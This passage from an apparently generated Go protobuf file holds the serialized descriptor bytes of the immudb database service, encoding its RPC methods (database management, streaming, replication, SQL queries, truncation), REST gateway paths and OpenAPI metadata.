0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a,\n\t0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, 0x12,\n\t0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56,\n\t0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16,\n\t0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c,\n\t0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55,\n\t0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22,\n\t0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65,\n\t0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12,\n\t0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73,\n\t0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e,\n\t0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74,\n\t0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74,\n\t0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55,\n\t0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a,\n\t0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12,\n\t0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65,\n\t0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e,\n\t0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22,\n\t0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f,\n\t0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15,\n\t0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69,\n\t0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65,\n\t0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65,\n\t0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01,\n\t0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f,\n\t0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78,\n\t0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f,\n\t0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a,\n\t0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e,\n\t0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e,\n\t0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70,\n\t0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61,\n\t0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61,\n\t0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72,\n\t0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48,\n\t0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72,\n\t0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74,\n\t0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12,\n\t0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61,\n\t0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72,\n\t0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a,\n\t0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30,\n\t0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e,\n\t0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68,\n\t0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61,\n\t0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30,\n\t0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41,\n\t0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65,\n\t0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54,\n\t0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72,\n\t0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b,\n\t0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a,\n\t0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12,\n\t0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53,\n\t0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73,\n\t0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b,\n\t0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x67, 0x0a, 0x0d, 0x55,\n\t0x6e, 0x61, 0x72, 0x79, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c,\n\t0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c,\n\t0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4,\n\t0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71,\n\t0x75, 0x65, 0x72, 0x79, 0x12, 0x64, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79,\n\t0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22,\n\t0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f,\n\t0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x30, 0x01, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69,\n\t0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c,\n\t0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,\n\t0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22,\n\t0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62,\n\t0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72,\n\t0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53,\n\t0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61,\n\t0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62,\n\t0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61,\n\t0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e,\n\t0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15,\n\t0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73,\n\t0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74,\n\t0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61,\n\t0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61,\n\t0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63,\n\t0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda,\n\t0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62,\n\t0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74,\n\t0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64,\n\t0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e,\n\t0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72,\n\t0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f,\n\t0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64,\n\t0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61,\n\t0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f,\n\t0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61,\n\t0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e,\n\t0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75,\n\t0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c,\n\t0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70,\n\t0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08,\n\t0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f,\n\t0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 